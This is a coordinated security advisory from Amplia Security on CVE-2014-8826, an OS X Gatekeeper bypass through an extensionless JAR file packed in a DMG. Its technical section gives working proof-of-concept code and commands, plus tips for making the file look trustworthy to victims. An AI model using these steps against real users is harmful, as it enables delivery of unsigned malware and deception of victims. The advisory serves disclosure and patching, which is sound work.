Security Advisory Title: OS X Gatekeeper Bypass Vulnerability
Advisory ID: AMPLIA-ARA100614
Advisory URL: https://www.ampliasecurity.com/advisories/os-x-gatekeeper-bypass-vulnerability.html, https://www.ampliasecurity.com/advisories/AMPLIA-ARA100614.txt
Date published: 01-27-2015
Vendors contacted: Apple (www.apple.com) (notified 10-06-2014)
Release mode: Coordinated release
Last Updated: 01-27-2015

Index

1. Vulnerablity information
2. Vulnerablity description
3. Vulnerable systems
4. Vendor Information, solutions and workarounds
5. Credits
6. Technical description
7. Disclaimer

1. Vulnerability information

Impact: A malicious Jar file can bypass all OS X Gatekeeper warnings and protections, allowing a remote attacker to execute arbitrary unsigned code downloaded by the user. Java must be installed on the victim's machine.
Remotely Exploitable: Yes
Bugtraq Id: <unknown>
CVE ID: CVE-2014-8826

2. Vulnerability description

Gatekeeper is a feature available in OS X Lion v10.7.5 and later versions of OS X.

Gatekeeper performs checks on files and applications downloaded from the Internet to prevent execution of supposedly malicious and untrusted/unsigned code.

Gatekeeper provides three different settings:

- Mac App Store (Only apps that came from the Mac App Store can open)
- Mac App Store and identified developers (Only apps that came from the Mac App Store and identified developers can open)
- Anywhere

The default setting is "Mac App Store and identified developers".

This setting prevents execution of any code that was not downloaded from the Mac App Store and that was not digitally signed by a Developer ID registered with Apple.

For example, If the user downloads an unsigned application from an untrusted source and double-clicks on the application to execute it, OS X Gatekeeper will prevent its execution with the following warning message:

"<AppName> can't be opened because it is from an unidentified developer."

(For more information on OS X Gatekeeper, see https://support.apple.com/kb/ht5290)

We found an attacker can bypass all OS X Gatekeeper warnings and protections and execute unsigned malicious code downloaded by the user, even if OS X Gatekeeper is configured to only allow execution of applications downloaded from the Mac App Store (the highest security setting).

The technique is trivial and requires Java to be installed on the victim's machine.

OS X Gatekeeper prevents execution of downloaded Java Jar (.jar) and class (.class) files, but this verification can be bypassed.

3. Vulnerable Systems

Succesful exploitation of this vulnerability requires Java to be installed on the target system.

This vulnerability was successfully tested on the following versions of OS X:

OS X Lion
OS X Mavericks
OS X Yosemite

According to Apple, OS X Mountain Lion v10.8.5 is also vulnerable.

All systems with OS X Gatekeeper are suspected to be vulnerable.

4. Vendor Information, Solutions and Workarounds

Apple security updates are available via the Software Update mechanism:
https://support.apple.com/kb/HT1338

Apple security updates are also available for manual download via:
https://www.apple.com/support/downloads/

The security update is available for: OS X Mountain Lion v10.8.5, OS X Mavericks v10.9.5, OS X Yosemite v10.10 and v10.10.1.

The security update is not available for OS X Lion v10.7.5 which is also vulnerable to this issue.

For more information see https://support.apple.com/kb/HT1222

5. Credits

This vulnerability was discovered by Hernan Ochoa from Amplia Security.

6. Technical description

Gatekeeper is a feature available in OS X Lion v10.7.5 and later versions of OS X.

Gatekeeper performs checks on files and applications downloaded from the Internet to prevent execution of supposedly malicious and untrusted/unsigned code.

Gatekeeper provides three different settings:

- Mac App Store (Only apps that came from the Mac App Store can open)
- Mac App Store and identified developers (Only apps that came from the Mac App Store and identified developers can open)
- Anywhere

The default setting is "Mac App Store and identified developers".

This setting prevents execution of any code that was not downloaded from the Mac App Store and that was not digitally signed by a Developer ID registered with Apple.

For example, If the user downloads an application from an untrusted source and double-clicks on the application to execute it, OS X Gatekeeper will prevent its execution with the following warning message:

"<AppName> can't be opened because it is from an unidentified developer."

(For more information on OS X Gatekeeper, see https://support.apple.com/kb/ht5290)

We found an attacker can bypass all OS X Gatekeeper warnings and protections and execute unsigned malicious code downloaded by the user, even if OS X Gatekeeper is configured to only allow execution of applications downloaded from the Mac App Store (the highest security setting).

The technique is trivial and requires Java to be installed on the victim's machine.

OS X Gatekeeper prevents execution of downloaded Java Jar (.jar) and class (.class) files, but this verification can be bypassed.

For example:

Create a JAR file containing the code to be executed

For example,

File AmpliaTest.java:

public class AmpliaTest {
public static void main(String[] args) {
try { Runtime.getRuntime().exec("/usr/bin/touch /tmp/AMPLIASECURITY"); } catch(Exception e) { }
}
}

}
(This is just an example, of course, arbitrary code can be executed)

$ javac AmpliaTest.java

Be sure to compile the code for a version of Java lower than or equal to the one available on the target (for example, javac -target 1.6 -source 1.6 AmpliaTest.java; and the compiled code will work on Java versions >= 1.6).

$ echo "main-class: AmpliaTest" > Manifest

$ jar cmf Manifest UnsignedCode.jar AmpliaTest.class

Create a .DMG disk image

For example:

$ hdiutil create -size 5m -fs HFS+ -volname AmpliaSecurity AmpliaTest.dmg

Mount AmpliaTest.dmg

Rename UnsignedCode.jar to UnsignedCode (just remove the extension)

Copy UnsignedCode to the AmpliaSecurity volume

Unmount AmpliaTest.dmg

Host the file AmpliaTest.dmg on a web server

Download AmpliaTest.dmg using Safari and open it

Double-Click on 'UnsignedCode' and the code will be executed bypassing OS X Gatekeeper checks (the code creates the file /tmp/AMPLIASECURITY)

(Perform the same steps but without removing the .jar extension to UnsignedCode.jar and OS X Gatekeeper will prevent execution of the Jar file)

Because the file 'UnsignedCode' has no extension, Finder will display a blank page icon; the Java/JAR icon will not be displayed. The user does not know he is double-clicking on a JAR file and the file does not look particularly suspicious. Also, since the unsigned code is distributed inside a disk image (.DMG) file, there are many things the attacker can do to gain the trust of the user (include other files, use Finder background images, etc).

Distribution of applications in .DMG files is common. Apple even distributes security patches using .DMG files.

There are other attack scenarios.

7. Disclaimer

The contents of this advisory are copyright (c) 2014,2015 Amplia Security (www.ampliasecurity.com), and may be distributed freely provided that no fee is charged for distribution and proper credit is given.